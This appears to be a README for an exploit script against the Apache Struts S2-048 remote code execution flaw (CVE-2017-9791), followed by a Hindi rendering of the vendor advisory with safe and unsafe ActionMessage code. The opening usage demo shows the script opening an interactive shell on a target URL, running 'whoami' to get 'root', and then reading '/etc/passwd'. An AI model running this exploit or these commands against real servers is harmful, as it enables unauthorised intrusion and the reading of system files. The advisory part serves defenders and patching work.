
st2-048
http://struts.apache.org/docs/s2-048.html
https://cwiki.apache.org/confluence/display/WW/S2-048
> python St2-048.py
set url : http://xx.xx.xx.xx:port/integration/saveGangster.action
cmd >>: whoami
root
cmd >>: cat /etc/passwd

Struts 2.3.x श्रृंखला में Struts 1 प्लगइन उदाहरण में Struts Showcase ऐप में संभावित RCE
इसे कौन पढ़े सभी Struts 2 डेवलपर्स और उपयोगकर्ताओं को यह पढ़ना चाहिए
भेद्यता का प्रभाव Struts 2 Struts 1 प्लगइन का उपयोग करते समय संभावित RCE
अधिकतम सुरक्षा रेटिंग उच्च
अनुशंसा कृपया समाधान अनुभाग पढ़ें
प्रभावित सॉफ़्टवेयर Struts 1 प्लगइन और Struts 1 एक्शन के साथ Struts 2.3.x
रिपोर्टर Tophant Competence Center से icez
CVE पहचानकर्ता CVE-2017-9791
Struts 2 Struts 1 प्लगइन का उपयोग करते समय और यदि यह Struts 1 एक्शन है, तो एक दुर्भावनापूर्ण फ़ील्ड मान के साथ RCE हमला करना संभव है, और मान उपयोगकर्ता को प्रस्तुत संदेश का एक हिस्सा है, अर्थात ActionMessage क्लास में त्रुटि संदेश के भाग के रूप में अविश्वसनीय इनपुट का उपयोग करते समय।
नीचे दिखाए अनुसार ActionMessage को कच्चा संदेश पास करने के बजाय हमेशा संसाधन कुंजियों का उपयोग करें, कभी भी सीधे कच्चा मान पास न करें
messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName()));
और कभी भी इस तरह नहीं
messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " was added"));
किसी भी बैकवर्ड असंगतता समस्या की उम्मीद नहीं है।